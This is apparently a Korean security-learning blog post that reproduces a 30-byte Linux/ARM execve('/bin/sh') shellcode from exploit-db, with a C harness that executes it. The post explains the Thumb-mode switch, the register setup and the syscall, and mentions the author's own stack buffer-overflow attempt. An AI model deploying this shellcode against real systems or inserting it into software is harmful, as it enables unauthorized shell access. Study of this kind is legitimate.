[ARM bof] - execve 쉘코드
exploit db의 execve 30byte 쉘코드
http://www.exploit-db.com/exploits/14097/
/*
Title: Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
Date: 2010-06-28
Tested: ARM926EJ-S rev 5 (v5l)
Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/jonathansalwan
! Dtabase of shellcodes http://www.shell-storm.org/shellcode/
8054: e28f3001 add r3, pc, #1 ; 0x1
8058: e12fff13 bx r3
805c: 4678 mov r0, pc
805e: 300a adds r0, #10
8060: 9001 str r0, [sp, #4]
8062: a901 add r1, sp, #4
8064: 1a92 subs r2, r2, r2
8066: 270b movs r7, #11
8068: df01 svc 1
806a: 2f2f cmp r7, #47
806c: 6962 ldr r2, [r4, #20]
806e: 2f6e cmp r7, #110
8070: 6873 ldr r3, [r6, #4]
*/
#include <stdio.h>
char
*SC =
"\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x78\x46\x0a\x30"
"\x01\x90\x01\xa9"
"\x92\x1a\x0b\x27"
"\x01\xdf\x2f\x2f"
"\x62\x69\x6e\x2f"
"\x73\x68"
;
int
main(
void
)
{
fprintf
(stdout,
"Length: %d\n"
,
strlen
(SC));
(*(
void
(*)()) SC)();
return
0;
}
아직 arm 어셈코드가 익숙하지 않아서 ... 만들지는 않고 위의 쉘코드를 한번 분석해보도록 하겠다.
먼저 처음 2줄은 4byte 짜리 명령어인데 그 뒤로는 2byte 단위로 이루어지는 것을 볼 수 있다. 이는 ARM의 thumb모드라고 하위 호환성?, 명령어 길이를 줄이기 위해? 16bit 명령어 셋이 존재하는데 위의 쉘코드에서도 thumb모드를 사용하는 것이다.
처음 2줄이 thumb모드로 들어가는 코드인데 pc + 1한 값으로 점프(bx)시키는 코드이다.
add r3, pc, #1 ; 0x1
bx r3
bx 명령어에서는 pc의 최하위1bit가 set 되어 있는 경우 CPSR의 T bit를 세팅해서 thumb모드로 인식한다. arm에서 모든 명령어들이 4byte, 2byte (thumb mode)이기 때문에 최하위 1bit를 사용해 thumb 비트 세팅에 사용할 수 있는 것이다.
(+ 추가적으로 gdb에서도 thumb모드로 디스어셈블하고 싶다면 x/10i 0x104e8 라면 x/10i 0x104e9 와 같이 +1를 더해주면 된다. )
또 주의해야 할 것이 쉘코드에서 mov나 add 등으로 pc 레지스터의 값을 얻어오는데 이때 얻어오는 pc값은 파이프라인에 의해 다다음에 실행시킬 명령어의 주소를 가지고 온다는 것이다. 현재 pc에서 +8 (thumb모드라면 +4)
그 뒤의 어셈블리 코드가 execve를 call하는 코드이다.
805c: 4678 mov r0, pc
805e: 300a adds r0, #10
8060: 9001 str r0, [sp, #4]
8062: a901 add r1, sp, #4
8064: 1a92 subs r2, r2, r2
8066: 270b movs r7, #11
8068: df01 svc 1
806a: 2f2f cmp r7, #47
806c: 6962 ldr r2, [r4, #20]
806e: 2f6e cmp r7, #110
8070: 6873 ldr r3, [r6, #4]
svc아래 부분은 "/bin/sh" 문자열을 구성하는 데이터이므로 그 위의 코드를 분석해보자.
r0, r1, r2에 각 argv 값이 순서대로 들어가므로 execve 인자값은 아래와 같이 구성한다.
r0 => "/bin/sh"
r1 => &"/bin/sh"
r2 => NULL
그럼 한줄씩 분석해보도록 하자.
1. r0, r1 레지스터를 구성하기 위한 코드
805c: 4678 mov r0, pc
805e: 300a adds r0, #10
8060: 9001 str r0, [sp, #4]
8062: a901 add r1, sp, #4
앞서 말했듯이 mov r0, pc를 수행하면 파이프 라인에 의해 다다음의 주소값이 r0에 들어가게 된다. 위의 경우는 0x8060이 들어간다.
그리고 10(0xa)만큼 r0을 올려주면 r0에는 0x806a가 들어가서 "/bin/sh"문자열을 가리키게 된다. 마지막으로 r1을 구성하기 위해 sp+4에 "/bin/sh"의 주소를 넣고 r1에 sp+4의 주소를 넣어준다.
2. r2를 NULL로 구성하기 위한 코드
8064: 1a92 subs r2, r2, r2
x86에서의 xor로 NULL값을 만들어 주는 것과 비슷한 과정이다. arm에서는 sub를 사용한다.
3. execve 호출
8066: 270b movs r7, #11
8068: df01 svc 1
svc라는 명령어로 system call을 호출한다. 이때 시스템 콜 번호는 r7 레지스터를 사용하기 때문에 execve의 시스템콜 번호인 11을 넣어준 후 svc를 호출한다. (svc뒤에 오는 1은 먼지 모른다 ;; )
실제로 스택에 올려서 bof를 시도해봤는데 ......
위의 쉘코드 마지막 부분에 "//bin/sh"라는 문자열이 있는데 그 뒤에 NULL을 넣어 주는 코드가 없어서 쉘코드 뒷 부분의 데이터가 붙여서 execve가 실행된다 .....
그래서 그냥 새로 만듦 ...